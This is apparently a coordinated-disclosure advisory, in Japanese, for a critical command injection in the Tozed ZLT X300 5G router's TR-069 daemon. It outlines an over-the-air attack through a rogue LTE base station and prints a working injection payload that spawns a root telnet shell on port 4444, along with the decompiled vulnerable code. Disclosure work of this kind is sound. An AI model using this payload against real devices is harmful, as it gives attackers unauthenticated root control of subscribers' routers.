ステータス: 公開済み — CISA ICSおよびCERT/CCを通じた協調的開示
発見日: 2026-08-08
研究者: Muhammad Nadeem Danish (danish1162)
CVE ID: CVE-2026-108576 (VulDB CNAにより割り当て、cve.orgで公開)
以前の予約ID: CVE-2026-2035703 (MITRE — 未公開、CVE-2026-108576により置き換え)
深刻度: Critical (CVSS 10.0)
CWE: CWE-78 (OSコマンドインジェクション)
VulDB: VDB-416233
CERT/CC: VU#138275
GHSA: GHSA-qcpp-vfr2-v242
Tozed ZLT X300 5G CPEルーターには、不正なLTE基地局(SDR)を介して無線経由で悪用可能な重大なコマンドインジェクション脆弱性が存在します。本デバイスのTR-069/CWMPクライアント(netcwmpd)は、サニタイズされていないネットワーク制御入力をシェルコマンドに渡すため、認証なしでのリモートrootコード実行が可能になります。
電波到達範囲内でソフトウェア無線機(約300米ドル)を運用する攻撃者は、通信事業者のTR-069 ACSサーバーになりすまし、ターゲットデバイス上でrootとして実行される任意のシェルコマンドを注入できます — 認証ゼロ、ユーザー操作ゼロ、物理的アクセスゼロで。
Attacker's SDR (~$300)
↓
Rogue LTE eNodeB (srsRAN, test frequency band)
↓ Strongest signal → X300 auto-connects
Rogue EPC assigns IP (172.16.0.x)
↓
TR-069 ACS impersonation (via DHCP Option 43)
↓
SetParameterValues: IPPingDiagnostics.Host = $(telnetd -l /bin/sh -p 4444)
↓
Device executes: ping "$(telnetd -l /bin/sh -p 4444)" as root
↓
ROOT SHELL on port 4444 — uid=0(root) gid=0(root)
netcwmpd の IPPingDiagnostics ハンドラは、Host パラメータをシェルコマンドを構築する sprintf フォーマット文字列に直接渡します:
// Decompiled from netcwmpd at 0x463E6C (IDA Pro)
sprintf(cmd,
"ping%s -c %d -s %d -W %u%s \"%s\" > /tmp/.tr069_pingtest.log",
ipv4_flag, repetitions, block_size, timeout, interface,
HOST); // HOST = unsanitized TR-069 parameter
その後、コマンドは root として system() 経由で実行されます。Host パラメータに対する入力検証は一切行われません — 文字フィルタリング、正規表現チェック、512 バイトバッファを超える長さ検証もありません。
$() コマンド置換は POSIX シェルによって二重引用符内で評価され、任意のコマンド実行が可能になります。
| 項目 | 値 |
|---|---|
| 製造元 | Tozed Kangwei Tech Co., Ltd（中国・深圳） |
| モデル | ZLT X300 / X300A 5G CPE ルーター |
| ファームウェア | 6.01.0 – 6.01.3（全バージョンが影響を受けると考えられる） |
| アーキテクチャ | aarch64（MediaTek MT7992） |
| OS | OpenWrt 23.05.5、Linux カーネル 5.15.167 |
| コンポーネント | netcwmpd（CWMP デーモン） |
| 販売元 | du / EITC（Emirates Integrated Telecommunications）、UAE |
ZLT X300 は以下の地域の通信事業者によって展開されています：
中東： du（UAE）、STC および Mobily（サウジアラビア）、Zain（クウェート、バーレーン）、Ooredoo および Omantel（オマーン）
ヨーロッパ： EE、O2、Three（英国）、Telekom（ドイツ）、TIM（イタリア）、Free Mobile、SFR、Orange（フランス）
アジア： Singtel（シンガポール）、AIS（タイ）、Smart（フィリピン）、Telkomsel（インドネシア）
アフリカ： MTN および Vodacom（南アフリカ）、MTN（ナイジェリア）
現在のファームウェアを搭載したすべてのデバイスが脆弱です。
すべての脆弱性の発見は、IDA Pro を用いた静的ファームウェア解析によって行われました — ARM バイナリを逆コンパイルし、TR-069 パラメータ入力から sprintf を経てシェル実行シンクに至るコード実行パスを追跡しました。
すべての実機検証および概念実証テストは、パキスタンのプライベートラボ環境において、個人所有の機器上で、sysmocom sysmoISIM-SJA5 プログラマブルテスト SIM（IMSI プレフィックス 999 — ITU 予約のテストネットワークであり、商用事業者のものではない）を使用し、未使用の周波数帯（Band 7、2655 MHz — UAE の事業者は使用していない）で実施されました。稼働中の商用ネットワークには一切影響を与えておらず、他の加入者のデバイスも関与しておらず、ライセンスされた商用スペクトラム上での送信も行われていません。
advisory/
TECHNICAL_REPORT.md Full vulnerability analysis with IDA decompilation
VENDOR_ADVISORY.md Formatted vendor notification
MITRE_CVE_REQUEST.md CVE record details
ZTE_PSIRT_EMAIL.md Record of vendor communication
netcwmpd を逆コンパイルする0x463A14 の process_ping に移動するSetParameterValues から sprintf を経てシェルコマンドに至る Host パラメータを追跡するsystem() 呼び出しの間にサニタイズ処理が存在しないことを確認する| 日付 | 対応 |
|---|---|
| 2026-08-08 | 静的ファームウェア解析により脆弱性を発見 |
| 2026-08-14 | 製造元（Tozed Kangwei）および MITRE に報告 |
| 2026-08-14 | MITRE により CVE-2026-2035703 を予約（未公開のまま） |
| 2026-08-22 | 製造元（マーケティング部門、PSIRT なし）が「修正済み」と主張 — 証拠は提示されず |
| 2026-08-24〜25 | 製造元は技術的な質問に答える代わりに SIM カードについて 3 回質問 |
| 2026-08-26 | ZTE PSIRT（[email protected]）へエスカレーション |
| 2026-08-27 | 製造元が対応を拒否 —「販売店に問い合わせてください」 |
| 2026-08-29 | ZTE PSIRT が「ZTE 製品ではない」と確認 — 責任を否認 |
| 2026-08-29 | 各国の CERT へエスカレーション |
| 2026-09-10 | CERT/CC が VINCE ケース VU#138275 を起動 |
| 2026-09-18 | CISA ICS が関与 — 勧告を起草中 |
| 2026-10-10 | VulDB CNA により CVE-2026-108576 を割り当て、cve.org で公開 |
製造元（Tozed Kangwei）には Product Security Incident Response Team（PSIRT）が存在しません。 すべてのやり取りは同社のグローバルマーケティング部門から行われました。彼らは脆弱性が「修正済み」であると主張しましたが、CVE 番号、修正済みファームウェアのバージョン、セキュリティ勧告のいずれも提示できませんでした。NVD、OpenCVE、CVE Details、および製造元自身の公開資料のいずれにも、過去の修正に関する公開記録は存在しません。
すべての調査は、ITU 予約のテストネットワーク認証情報（MCC 999）を使用し、プライベートラボ内の個人所有ハードウェア上で実施されました。いかなるシステムへの不正アクセスも行っていません。稼働中の商用ネットワークには一切影響を与えていません。調整済み脆弱性開示（Coordinated Disclosure）を進めています。
本調査は、認可されたセキュリティテスト、ベンダーによる修正、および学術研究のみを目的として提供されています。不正アクセスや悪意ある使用を目的とするものではありません。